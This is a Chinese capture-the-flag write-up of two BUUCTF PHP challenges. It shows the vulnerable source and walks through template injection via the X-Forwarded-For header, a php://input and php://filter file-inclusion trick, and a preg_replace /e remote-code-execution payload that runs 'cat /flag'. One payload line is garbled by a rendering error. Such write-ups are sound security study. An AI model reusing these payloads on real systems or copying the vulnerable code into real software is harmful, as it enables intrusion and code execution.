BUU刷题--[BJDCTF2020]The mystery of ip [BJDCTF2020]ZJCTF,不过如此

The mystery of ip

三个php文件,点进去都没啥收获。只有在flag看到了自己ip,除了想到xff头,完全就没思路了。
抓个包修改xff头看一下
BUU刷题--[BJDCTF2020]The mystery of ip [BJDCTF2020]ZJCTF,不过如此_第1张图片
ip可控,然后呢,然后呢,就不会了。。。。。
看大佬wp之后,emmm,ip还能模板注入
BUU刷题--[BJDCTF2020]The mystery of ip [BJDCTF2020]ZJCTF,不过如此_第2张图片
然后就是命令执行找flag
BUU刷题--[BJDCTF2020]The mystery of ip [BJDCTF2020]ZJCTF,不过如此_第3张图片
感觉关键是要能想到这个ip能模板注入吧

ZJCTF,不过如此

打开看到源码。

 

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
     
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>

构造/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
post传I have a dream
好像这里不能直接读出flag
拿到next的base64源码,解码:


$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
     
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
     
    echo complex($re, $str). "\n";
}

function getFlag(){
     
	@eval($_GET['cmd']);
}

关键在这里:

    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );

preg_replace()使用的/e模式可以存在远程执行代码
payload:\S*=KaTeX parse error: Undefined control sequence: \S at position 41: …执行。 最终payload:?\̲S̲*={getFlag()}&cmd=system(‘cat /flag’);
在这里插入图片描述
拿到flag。
研究一下preg_replace /e的payload形成。

    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );

第一个和第三个参数可控,相当于eval(‘strtolower("\1");’),\1就相当于只是\1,\1两边加了圆括号在正则中的意思是,捕获每一个子匹配,按从左到右存储,编号从1开始,最多99个,用\n访问,所以\1就是第一个子匹配项.
当我们传入\S*={${phpinfo()}}
就变成了

    return preg_replace(
        '/('\S*')/ei',
        'strtolower("\\1")',
        {
     ${
     phpinfo()}}
    );

然后就可以执行我们的函数。就可以构造相关的payload。

参考链接

你可能感兴趣的:(安全)